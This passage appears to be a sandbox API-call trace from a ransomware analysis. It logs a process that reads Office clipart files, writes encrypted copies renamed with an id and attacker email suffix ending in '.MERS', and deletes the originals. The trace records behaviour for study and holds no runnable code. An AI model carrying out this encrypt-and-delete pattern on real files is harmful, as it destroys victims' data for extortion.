Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0270.434] lstrlenW (lpString=".jpg") returned 4 [0270.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0270.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0270.434] lstrlenW (lpString=".doc") returned 4 [0270.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.434] lstrlenW (lpString=".docx") returned 5 [0270.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.434] lstrlenW (lpString=".pdf") returned 4 [0270.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.434] lstrlenW (lpString=".xls") returned 4 [0270.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.434] lstrlenW (lpString=".xlsx") returned 5 [0270.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.434] lstrlenW (lpString=".ppt") returned 4 [0270.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0270.435] lstrlenW (lpString=".zip") returned 4 [0270.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.435] lstrlenW (lpString=".rar") returned 4 [0270.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.435] lstrlenW (lpString=".bz2") returned 4 [0270.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.435] lstrlenW (lpString=".7z") returned 3 [0270.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0270.435] lstrlenW (lpString=".dbf") returned 4 [0270.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0270.435] lstrlenW (lpString=".1cd") returned 4 [0270.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0270.435] lstrlenW (lpString=".jpg") returned 4 [0270.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.435] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.435] lstrlenW (lpString="BD00141_.WMF") returned 12 [0270.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.435] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=26886) returned 1 [0270.436] CloseHandle (hObject=0x3b4) returned 1 [0270.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0270.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.436] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.436] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0270.436] GetLastError () returned 0x0 [0270.436] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x6906, lpOverlapped=0x0) returned 1 [0270.537] WriteFile (in: hFile=0x3ec, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x6910, lpOverlapped=0x0) returned 1 [0270.538] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.538] WriteFile (in: hFile=0x3ec, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.538] SetEndOfFile (hFile=0x3ec) returned 1 [0270.539] CloseHandle (hObject=0x3ec) returned 1 [0270.539] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.539] SetEndOfFile (hFile=0x3b4) returned 1 [0270.540] CloseHandle (hObject=0x3b4) returned 1 [0270.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0270.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0270.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0270.541] lstrlenW (lpString=".doc") returned 4 [0270.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.541] lstrlenW (lpString=".docx") returned 5 [0270.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.541] lstrlenW (lpString=".pdf") returned 4 [0270.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.541] lstrlenW (lpString=".xls") returned 4 [0270.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.541] lstrlenW (lpString=".xlsx") returned 5 [0270.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.541] lstrlenW (lpString=".ppt") returned 4 [0270.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0270.541] lstrlenW (lpString=".zip") returned 4 [0270.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.541] lstrlenW (lpString=".rar") returned 4 [0270.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.541] lstrlenW (lpString=".bz2") returned 4 [0270.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.542] lstrlenW (lpString=".7z") returned 3 [0270.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0270.542] lstrlenW (lpString=".dbf") returned 4 [0270.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0270.542] lstrlenW (lpString=".1cd") returned 4 [0270.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0270.542] lstrlenW (lpString=".jpg") returned 4 [0270.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0270.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0270.542] lstrlenW (lpString=".doc") returned 4 [0270.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.542] lstrlenW (lpString=".docx") returned 5 [0270.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.542] lstrlenW (lpString=".pdf") returned 4 [0270.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.542] lstrlenW (lpString=".xls") returned 4 [0270.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.542] lstrlenW (lpString=".xlsx") returned 5 [0270.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.542] lstrlenW (lpString=".ppt") returned 4 [0270.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0270.542] lstrlenW (lpString=".zip") returned 4 [0270.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.542] lstrlenW (lpString=".rar") returned 4 [0270.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.542] lstrlenW (lpString=".bz2") returned 4 [0270.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.542] lstrlenW (lpString=".7z") returned 3 [0270.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0270.606] lstrlenW (lpString=".dbf") returned 4 [0270.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0270.607] lstrlenW (lpString=".1cd") returned 4 [0270.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0270.607] lstrlenW (lpString=".jpg") returned 4 [0270.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.615] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.615] lstrlenW (lpString="BD00173_.WMF") returned 12 [0270.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0270.615] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=16180) returned 1 [0270.615] CloseHandle (hObject=0x3ec) returned 1 [0270.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0270.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0270.616] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.616] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0270.617] GetLastError () returned 0x0 [0270.617] ReadFile (in: hFile=0x3ec, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x3f34, lpOverlapped=0x0) returned 1 [0270.686] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x3f40, lpOverlapped=0x0) returned 1 [0270.687] ReadFile (in: hFile=0x3ec, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.687] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.687] SetEndOfFile (hFile=0x3a8) returned 1 [0270.687] CloseHandle (hObject=0x3a8) returned 1 [0270.687] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.687] SetEndOfFile (hFile=0x3ec) returned 1 [0270.689] CloseHandle (hObject=0x3ec) returned 1 [0270.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0270.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0270.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0270.689] lstrlenW (lpString=".doc") returned 4 [0270.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.689] lstrlenW (lpString=".docx") returned 5 [0270.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.689] lstrlenW (lpString=".pdf") returned 4 [0270.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.689] lstrlenW (lpString=".xls") returned 4 [0270.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.689] lstrlenW (lpString=".xlsx") returned 5 [0270.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.689] lstrlenW (lpString=".ppt") returned 4 [0270.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0270.689] lstrlenW (lpString=".zip") returned 4 [0270.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.689] lstrlenW (lpString=".rar") returned 4 [0270.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString=".bz2") returned 4 [0270.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString=".7z") returned 3 [0270.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0270.690] lstrlenW (lpString=".dbf") returned 4 [0270.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0270.690] lstrlenW (lpString=".1cd") returned 4 [0270.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0270.690] lstrlenW (lpString=".jpg") returned 4 [0270.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0270.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0270.690] lstrlenW (lpString=".doc") returned 4 [0270.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString=".docx") returned 5 [0270.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.690] lstrlenW (lpString=".pdf") returned 4 [0270.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString=".xls") returned 4 [0270.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.690] lstrlenW (lpString=".xlsx") returned 5 [0270.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.690] lstrlenW (lpString=".ppt") returned 4 [0270.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0270.690] lstrlenW (lpString=".zip") returned 4 [0270.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.690] lstrlenW (lpString=".rar") returned 4 [0270.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString=".bz2") returned 4 [0270.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.691] lstrlenW (lpString=".7z") returned 3 [0270.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0270.691] lstrlenW (lpString=".dbf") returned 4 [0270.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0270.691] lstrlenW (lpString=".1cd") returned 4 [0270.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0270.691] lstrlenW (lpString=".jpg") returned 4 [0270.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.691] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.691] lstrlenW (lpString="BD07761_.WMF") returned 12 [0270.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0270.691] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=26748) returned 1 [0270.691] CloseHandle (hObject=0x3ec) returned 1 [0270.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0270.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0270.692] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.692] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0270.692] GetLastError () returned 0x0 [0270.692] ReadFile (in: hFile=0x3ec, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x687c, lpOverlapped=0x0) returned 1 [0270.759] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x6880, lpOverlapped=0x0) returned 1 [0270.760] ReadFile (in: hFile=0x3ec, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.760] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.760] SetEndOfFile (hFile=0x3a8) returned 1 [0270.761] CloseHandle (hObject=0x3a8) returned 1 [0270.761] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.761] SetEndOfFile (hFile=0x3ec) returned 1 [0270.763] CloseHandle (hObject=0x3ec) returned 1 [0270.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0270.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0270.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0270.763] lstrlenW (lpString=".doc") returned 4 [0270.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.763] lstrlenW (lpString=".docx") returned 5 [0270.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.763] lstrlenW (lpString=".pdf") returned 4 [0270.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.763] lstrlenW (lpString=".xls") returned 4 [0270.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.763] lstrlenW (lpString=".xlsx") returned 5 [0270.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.763] lstrlenW (lpString=".ppt") returned 4 [0270.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0270.763] lstrlenW (lpString=".zip") returned 4 [0270.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.763] lstrlenW (lpString=".rar") returned 4 [0270.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.763] lstrlenW (lpString=".bz2") returned 4 [0270.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString=".7z") returned 3 [0270.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0270.764] lstrlenW (lpString=".dbf") returned 4 [0270.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0270.764] lstrlenW (lpString=".1cd") returned 4 [0270.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0270.764] lstrlenW (lpString=".jpg") returned 4 [0270.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0270.764] lstrlenW (lpString=".doc") returned 4 [0270.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString=".docx") returned 5 [0270.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.764] lstrlenW (lpString=".pdf") returned 4 